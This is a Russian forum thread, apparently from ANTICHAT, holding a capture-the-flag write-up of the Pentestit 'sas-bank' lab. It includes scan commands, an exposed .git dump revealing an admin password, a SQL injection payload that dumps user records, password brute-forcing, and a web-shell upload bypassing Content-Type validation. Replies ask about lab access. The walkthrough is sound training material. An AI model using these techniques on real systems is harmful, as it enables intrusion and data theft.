HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 05.05.2016, 14:45
beginner2010
Постоянный
Регистрация: 21.11.2010
Сообщений: 557
С нами: 8144246

Репутация: 151


По умолчанию

Лаба уже к концу подходит, а скоро стартанёт 9ая версия. Может кому-то будет интересен write-up.

Схема сети:



Как обычно начинаем со скана портов:

Код:
nmap -sS -sV -T4 192.168.101.6
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:27 MSK
Nmap scan report for 192.168.101.6
Host is up (0.054s latency).
Not shown: 998 filtered ports
PORT    STATE SERVICE  VERSION
80/tcp  open  http     nginx 1.8.0
443/tcp open  ssl/http nginx 1.8.0

nmap -sS -sV -T4 192.168.101.7
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:28 MSK
Nmap scan report for 192.168.101.7
Host is up (0.053s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
25/tcp   open  tcpwrapped
8100/tcp open  http       CommuniGate Pro httpd 6.0.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
После скана портов видим следущее:

192.168.101.6:80 - site

192.168.101.6:443 - cabinet

192.168.101.7:22 - SSH

192.168.101.7:25 - SMTP

192.168.101.7:8100 - web GUI for mail

Site token

Сайт выглядит, как обычная html страница и страница авторизации. Изначально была мысль, что уязвимость где-то на странице авторизации, но попробовав разные пэйлоуды, понял, что ошибаюсь.

Пробую просканить директории сайта dirb.

Код:
dirb http://192.168.101.6/

---- Scanning URL: http://192.168.101.6/ ----
(!) WARNING: All responses for this directory seem to be CODE = 403.


Каждый реквест возращает 403ую ошибку. Меняю user-agent и пробую ещё раз.

Код:
dirb http://192.168.101.6/ -a 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'
---- Scanning URL: http://192.168.101.6/ ----
+ http://192.168.101.6/.git/HEAD (CODE:200|SIZE:23)
+ http://192.168.101.6/.htaccess (CODE:200|SIZE:356)
> Testing: http://192.168.101.6/aboutus
Dirb находит .git директорию. Сливаю директорию с помощью git-rip

Код:
./rip-git.pl -o /root/pentestit/lab/192.168.101.6/ -u http://192.168.101.6/.git/
В директории гита лежат все исходниики сайта. Поиском по файлам находим логин:

grep -r 'login' ./

Код:
./app/database/seeds/DatabaseSeeder.php:          User::create(array('email' => 'admin@sas.local', 'login' => 'admin', 'password' => Hash::make('OEbdBst1RqWyfVsN1TrP')));


Логинимся с этим логином\паролем и получаем первый токен.

Cabinet token

После скана портов, мы знаем, что кабинет крутится на https. Сканируем кабинет dirb с изменённым user-agent, как мы это делали с сайтом.

Dirb находит два урла:

'/api/auth'

'/api/balance'

После проверки /api/auth на уязвимости, пробую потестировать /api/balance.

Например, /api/balance?api_session_token=asd&id=1

Получаем - {"error":{"api_session_token":["The api session token must be 40 characters."]}}

Пробовал с помощью burp автоматизировать процесс и сделать sql inj, но потом понял, что больше 40 символов не пройдёт и делал руками.

Отправляем запрос:

GET /api/balance?api_session_token=asdasasdasasdasasdasaaaa fffas'+or+'1'='1&id=1 HTTP/1.1

Получаем:

Код:
[{"id":"1","email":"KyleEShannon@cuvox.de","balance":"37.00"},
"id":"2","email":"EricLWhitaker@dayrep.com","balance":"59.00"},
"id":"3","email":"PhillipSPhillips@fleckens.hu","balance":"8.00"},
"id":"4","email":"DrewLHolloway@rhyta.com","balance":"111.00"},
"id":"5","email":"ErnestCWilliams@cuvox.de","balance":"154.00"},
"id":"6","email":"RobertPNetherton@cuvox.de","balance":"81.00"},
"id":"7","email":"IsmaelNNewcomb@dayrep.com","balance":"92.00"},
"id":"8","email":"AldenTPfaff@teleworm.us","balance":"78.00"},
"id":"9","email":"JamesMPang@fleckens.hu","balance":"42.00"},
"id":"10","email":"WilliamLSchmidt@armyspy.com","balance":"137.00"},
"id":"11","email":"JohnCPerkins@teleworm.us","balance":"126.00"},
"id":"12","email":"DonaldDRandolph@fleckens.hu","balance":"186.00"},
"id":"13","email":"JohnMMartin@rhyta.com","balance":"186.00"},
"id":"14","email":"MichaelJDavis@fleckens.hu","balance":"73.00"},
"id":"15","email":"TravisMHeadrick@cuvox.de","balance":"179.00"},
"id":"16","email":"JonathanJAlejandro@rhyta.com","balance":"67.00"},
"id":"17","email":"JeremiahBMagee@superrito.com","balance":"73.00"},
"id":"18","email":"ManuelTBoland@rhyta.com","balance":"35.00"},
"id":"19","email":"EthelCMyers@einrot.com","balance":"165.00"},
"id":"20","email":"RandyRDarden@superrito.comThomasMReid@rhyta.com","balance":"20.00"},
"id":"21","email":"JohnIHampton@teleworm.us","balance":"105.00"},
"id":"22","email":"LesterLLenard@cuvox.de","balance":"19.00"},
{"id":"23","email":"RalphWestfall@sas-bank.lab","balance":"18.00"}]
Из всех полученных аккаунтов заинтересовало RalphWestfall@sas-bank.lab, т.к. оно висело на почтовом сервере sas-bank.lab. C помощью burp и дефолтного словаря john the ripper удалось сбрутить пароль к кабинету данного пользователя. После того как логинимся в кабинет видим таблицу с информацией о транзакциях и слева информацию о пользователе и по клику на аватар появляется форма для загрузки аватара. Естественно на радостях пробовал загрузить сразу шелл в чистом виде, но срабатывала валидация. Включил в burp interception proxy и при загрузке шелла поменял Content-Type: application/x-php to Content-Type: image/jpeg. Получаем веб-шелл и токен от кабинета, который лежит в /var/www.

Recon token

С этим заданием сразу ничего понятно не было. Оно было в списке заданий, но где должен был быть токен и на какой машине его нужно было искать - это было загадкой.

Вначале я решил опять посканить порты, только в этот раз посмотреть, что работает на udp.

Код:
nmap -sU -T4 -sV -p53 192.168.101.6
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK
Nmap scan report for 192.168.101.6
Host is up (0.047s latency).
PORT   STATE SERVICE VERSION
53/udp open  domain  ISC BIND unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds

nmap -sU -T4 -sV -p53 192.168.101.7
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK
Nmap scan report for 192.168.101.7
Host is up (0.045s latency).
PORT   STATE SERVICE VERSION
53/udp open  domain  ISC BIND unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
Сразу же возникла мысль об axfr.

Код:
dig @192.168.101.6 sas-bank.lab axfr
; > DiG 9.9.5-9+deb8u3-Debian > @192.168.101.6 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached

dig @192.168.101.7 sas-bank.lab axfr
; > DiG 9.9.5-9+deb8u3-Debian > @192.168.101.7 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached
Пыл немного поубавился. Полез гуглить и нашёл информацию, что такие запросы могут быть разрешены внутри сети, но извне закрыты, а т.к. у нас уже был шелл, то оставалось только попробовать.

Код:
dig @192.168.101.6 sas-bank.lab axfr
; > DiG 9.8.4-rpz2+rl005.12-P1 > @192.168.101.6 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached

dig @192.168.101.7 sas-bank.lab axfr
; > DiG 9.8.4-rpz2+rl005.12-P1 > @192.168.101.7 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
sas-bank.lab.          604800     IN     SOA     ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800
sas-bank.lab.          604800     IN     NS     ns1.sas-bank.lab.
sas-bank.lab.          604800     IN     NS     ns2.sas-bank.lab.
sas-bank.lab.          604800     IN     A     192.168.101.6
sas-bank.lab.          604800     IN     AAAA     ::1
cabinet.sas-bank.lab.     604800     IN     CNAME     sas-bank.lab.
mail.sas-bank.lab.     604800     IN     A     192.168.101.7
mail.sas-bank.lab.     604800     IN     MX     5 mx.sas-bank.lab.
ns1.sas-bank.lab.     604800     IN     A     192.168.101.6
ns2.sas-bank.lab.     604800     IN     A     192.168.101.7
token_recon_ueshuN4ma.sas-bank.lab. 604800 IN CNAME sas-bank.lab.
vpn.sas-bank.lab.     604800     IN     A     192.168.101.7
www.sas-bank.lab.     604800     IN     CNAME     sas-bank.lab.
sas-bank.lab.          604800     IN     SOA     ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800
;; Query time: 2 msec
;; SERVER: 192.168.101.7#53(192.168.101.7)
;; WHEN: Tue Dec  8 15:35:25 2015
;; XFR size: 14 records (messages 1, bytes 355)
Получаем recon токен.

Это всего лишь 3 токена из 12. Полный write-up можно прочитать здесь:

https://drive.google.com/file/d/0B_A...ew?usp=sharing

В write-up всё выглядит очень гладко, но на самом деле некоторые токены давались с большим трудом и иногда приходилось делать перерыв потому, что сказывалась усталость и терпение было на исходе. Данная версия лабы было очень интересной и узнал достаточно много чего нового. Основной вывод, который сделал из прохождения - уделять больше внимания деталям.

С нетерпением жду новую версию лабы, которая судя по описанию будет очень интересной https://lab.pentestit.ru/pentestlabs/5

Мой первый write-up, поэтому сильно не пинайте
 
Ответить с цитированием

  #2  
Старый 15.09.2016, 02:28
Sensoft
Постоянный
Регистрация: 14.06.2015
Сообщений: 396
С нами: 5745206

Репутация: 1
По умолчанию

Цитата:
Сообщение от beginner2010  

Лаба уже к концу подходит, а скоро стартанёт 9ая версия. Может кому-то будет интересен write-up.
Схема сети:

Как обычно начинаем со скана портов:
Код:
nmap -sS -sV -T4 192.168.101.6
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:27 MSK
Nmap scan report for 192.168.101.6
Host is up (0.054s latency).
Not shown: 998 filtered ports
PORT    STATE SERVICE  VERSION
80/tcp  open  http     nginx 1.8.0
443/tcp open  ssl/http nginx 1.8.0

nmap -sS -sV -T4 192.168.101.7
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:28 MSK
Nmap scan report for 192.168.101.7
Host is up (0.053s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
25/tcp   open  tcpwrapped
8100/tcp open  http       CommuniGate Pro httpd 6.0.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
После скана портов видим следущее:
192.168.101.6:80 - site
192.168.101.6:443 - cabinet
192.168.101.7:22 - SSH
192.168.101.7:25 - SMTP
192.168.101.7:8100 - web GUI for mail
Site token
Сайт выглядит, как обычная html страница и страница авторизации. Изначально была мысль, что уязвимость где-то на странице авторизации, но попробовав разные пэйлоуды, понял, что ошибаюсь.
Пробую просканить директории сайта dirb.
Код:
dirb http://192.168.101.6/

---- Scanning URL: http://192.168.101.6/ ----
(!) WARNING: All responses for this directory seem to be CODE = 403.

Каждый реквест возращает 403ую ошибку. Меняю user-agent и пробую ещё раз.
Код:
dirb http://192.168.101.6/ -a 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'
---- Scanning URL: http://192.168.101.6/ ----
+ http://192.168.101.6/.git/HEAD (CODE:200|SIZE:23)
+ http://192.168.101.6/.htaccess (CODE:200|SIZE:356)
> Testing: http://192.168.101.6/aboutus
Dirb находит .git директорию. Сливаю директорию с помощью git-rip
Код:
./rip-git.pl -o /root/pentestit/lab/192.168.101.6/ -u http://192.168.101.6/.git/
В директории гита лежат все исходниики сайта. Поиском по файлам находим логин:
grep -r 'login' ./

Код:
./app/database/seeds/DatabaseSeeder.php:          User::create(array('email' => 'admin@sas.local', 'login' => 'admin', 'password' => Hash::make('OEbdBst1RqWyfVsN1TrP')));

Логинимся с этим логином\паролем и получаем первый токен.
Cabinet token
После скана портов, мы знаем, что кабинет крутится на https. Сканируем кабинет dirb с изменённым user-agent, как мы это делали с сайтом.
Dirb находит два урла:
'/api/auth'
'/api/balance'
После проверки /api/auth на уязвимости, пробую потестировать /api/balance.
Например, /api/balance?api_session_token=asd&id=1
Получаем - {"error":{"api_session_token":["The api session token must be 40 characters."]}}
Пробовал с помощью burp автоматизировать процесс и сделать sql inj, но потом понял, что больше 40 символов не пройдёт и делал руками.
Отправляем запрос:
GET /api/balance?api_session_token=asdasasdasasdasasdasaaaa fffas'+or+'1'='1&id=1 HTTP/1.1
Получаем:
Код:
[{"id":"1","email":"KyleEShannon@cuvox.de","balance":"37.00"},
"id":"2","email":"EricLWhitaker@dayrep.com","balance":"59.00"},
"id":"3","email":"PhillipSPhillips@fleckens.hu","balance":"8.00"},
"id":"4","email":"DrewLHolloway@rhyta.com","balance":"111.00"},
"id":"5","email":"ErnestCWilliams@cuvox.de","balance":"154.00"},
"id":"6","email":"RobertPNetherton@cuvox.de","balance":"81.00"},
"id":"7","email":"IsmaelNNewcomb@dayrep.com","balance":"92.00"},
"id":"8","email":"AldenTPfaff@teleworm.us","balance":"78.00"},
"id":"9","email":"JamesMPang@fleckens.hu","balance":"42.00"},
"id":"10","email":"WilliamLSchmidt@armyspy.com","balance":"137.00"},
"id":"11","email":"JohnCPerkins@teleworm.us","balance":"126.00"},
"id":"12","email":"DonaldDRandolph@fleckens.hu","balance":"186.00"},
"id":"13","email":"JohnMMartin@rhyta.com","balance":"186.00"},
"id":"14","email":"MichaelJDavis@fleckens.hu","balance":"73.00"},
"id":"15","email":"TravisMHeadrick@cuvox.de","balance":"179.00"},
"id":"16","email":"JonathanJAlejandro@rhyta.com","balance":"67.00"},
"id":"17","email":"JeremiahBMagee@superrito.com","balance":"73.00"},
"id":"18","email":"ManuelTBoland@rhyta.com","balance":"35.00"},
"id":"19","email":"EthelCMyers@einrot.com","balance":"165.00"},
"id":"20","email":"RandyRDarden@superrito.comThomasMReid@rhyta.com","balance":"20.00"},
"id":"21","email":"JohnIHampton@teleworm.us","balance":"105.00"},
"id":"22","email":"LesterLLenard@cuvox.de","balance":"19.00"},
{"id":"23","email":"RalphWestfall@sas-bank.lab","balance":"18.00"}]
Из всех полученных аккаунтов заинтересовало
RalphWestfall@sas-bank.lab
, т.к. оно висело на почтовом сервере sas-bank.lab. C помощью burp и дефолтного словаря john the ripper удалось сбрутить пароль к кабинету данного пользователя. После того как логинимся в кабинет видим таблицу с информацией о транзакциях и слева информацию о пользователе и по клику на аватар появляется форма для загрузки аватара. Естественно на радостях пробовал загрузить сразу шелл в чистом виде, но срабатывала валидация. Включил в burp interception proxy и при загрузке шелла поменял Content-Type: application/x-php to Content-Type: image/jpeg. Получаем веб-шелл и токен от кабинета, который лежит в /var/www.
Recon token
С этим заданием сразу ничего понятно не было. Оно было в списке заданий, но где должен был быть токен и на какой машине его нужно было искать - это было загадкой.
Вначале я решил опять посканить порты, только в этот раз посмотреть, что работает на udp.
Код:
nmap -sU -T4 -sV -p53 192.168.101.6
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK
Nmap scan report for 192.168.101.6
Host is up (0.047s latency).
PORT   STATE SERVICE VERSION
53/udp open  domain  ISC BIND unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds

nmap -sU -T4 -sV -p53 192.168.101.7
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK
Nmap scan report for 192.168.101.7
Host is up (0.045s latency).
PORT   STATE SERVICE VERSION
53/udp open  domain  ISC BIND unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
Сразу же возникла мысль об axfr.
Код:
dig @192.168.101.6 sas-bank.lab axfr
; > DiG 9.9.5-9+deb8u3-Debian > @192.168.101.6 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached

dig @192.168.101.7 sas-bank.lab axfr
; > DiG 9.9.5-9+deb8u3-Debian > @192.168.101.7 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached
Пыл немного поубавился. Полез гуглить и нашёл информацию, что такие запросы могут быть разрешены внутри сети, но извне закрыты, а т.к. у нас уже был шелл, то оставалось только попробовать.
Код:
dig @192.168.101.6 sas-bank.lab axfr
; > DiG 9.8.4-rpz2+rl005.12-P1 > @192.168.101.6 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached

dig @192.168.101.7 sas-bank.lab axfr
; > DiG 9.8.4-rpz2+rl005.12-P1 > @192.168.101.7 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
sas-bank.lab.          604800     IN     SOA     ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800
sas-bank.lab.          604800     IN     NS     ns1.sas-bank.lab.
sas-bank.lab.          604800     IN     NS     ns2.sas-bank.lab.
sas-bank.lab.          604800     IN     A     192.168.101.6
sas-bank.lab.          604800     IN     AAAA     ::1
cabinet.sas-bank.lab.     604800     IN     CNAME     sas-bank.lab.
mail.sas-bank.lab.     604800     IN     A     192.168.101.7
mail.sas-bank.lab.     604800     IN     MX     5 mx.sas-bank.lab.
ns1.sas-bank.lab.     604800     IN     A     192.168.101.6
ns2.sas-bank.lab.     604800     IN     A     192.168.101.7
token_recon_ueshuN4ma.sas-bank.lab. 604800 IN CNAME sas-bank.lab.
vpn.sas-bank.lab.     604800     IN     A     192.168.101.7
www.sas-bank.lab.     604800     IN     CNAME     sas-bank.lab.
sas-bank.lab.          604800     IN     SOA     ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800
;; Query time: 2 msec
;; SERVER: 192.168.101.7#53(192.168.101.7)
;; WHEN: Tue Dec  8 15:35:25 2015
;; XFR size: 14 records (messages 1, bytes 355)
Получаем recon токен.
Это всего лишь 3 токена из 12. Полный write-up можно прочитать здесь:
https://drive.google.com/file/d/0B_A...ew?usp=sharing
В write-up всё выглядит очень гладко, но на самом деле некоторые токены давались с большим трудом и иногда приходилось делать перерыв потому, что сказывалась усталость и терпение было на исходе. Данная версия лабы было очень интересной и узнал достаточно много чего нового. Основной вывод, который сделал из прохождения - уделять больше внимания деталям.
С нетерпением жду новую версию лабы, которая судя по описанию будет очень интересной
https://lab.pentestit.ru/pentestlabs/5
Мой первый write-up, поэтому сильно не пинайте
В первый раз слышу про такую канитель )

Можете описать где этот сайт и какой смысл на него время тратить ?

Но всё же тоже интересно помучаться
 
Ответить с цитированием

  #3  
Старый 15.09.2016, 13:19
ShpillyWilly
Познающий
Регистрация: 27.09.2012
Сообщений: 71
С нами: 7170806

Репутация: 0
По умолчанию

Цитата:
Сообщение от Sensoft  

В первый раз слышу про такую канитель )
Можете описать где этот сайт и какой смысл на него время тратить ?
Но всё же тоже интересно помучаться
https://lab.pentestit.ru/
 
Ответить с цитированием

  #4  
Старый 15.09.2016, 18:21
Sensoft
Постоянный
Регистрация: 14.06.2015
Сообщений: 396
С нами: 5745206

Репутация: 1
По умолчанию

192.168.101.8 => http://cybear32c.lab/

Но пишет что сайт не доступный почему ? vpn настроил и подключился
 
Ответить с цитированием

  #5  
Старый 02.10.2016, 17:06
beginner2010
Постоянный
Регистрация: 21.11.2010
Сообщений: 557
С нами: 8144246

Репутация: 151


По умолчанию

Эта версия лабы уже недоступна. Сейчас 9ая версия доступна, а в ноябре стартует 10ая.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.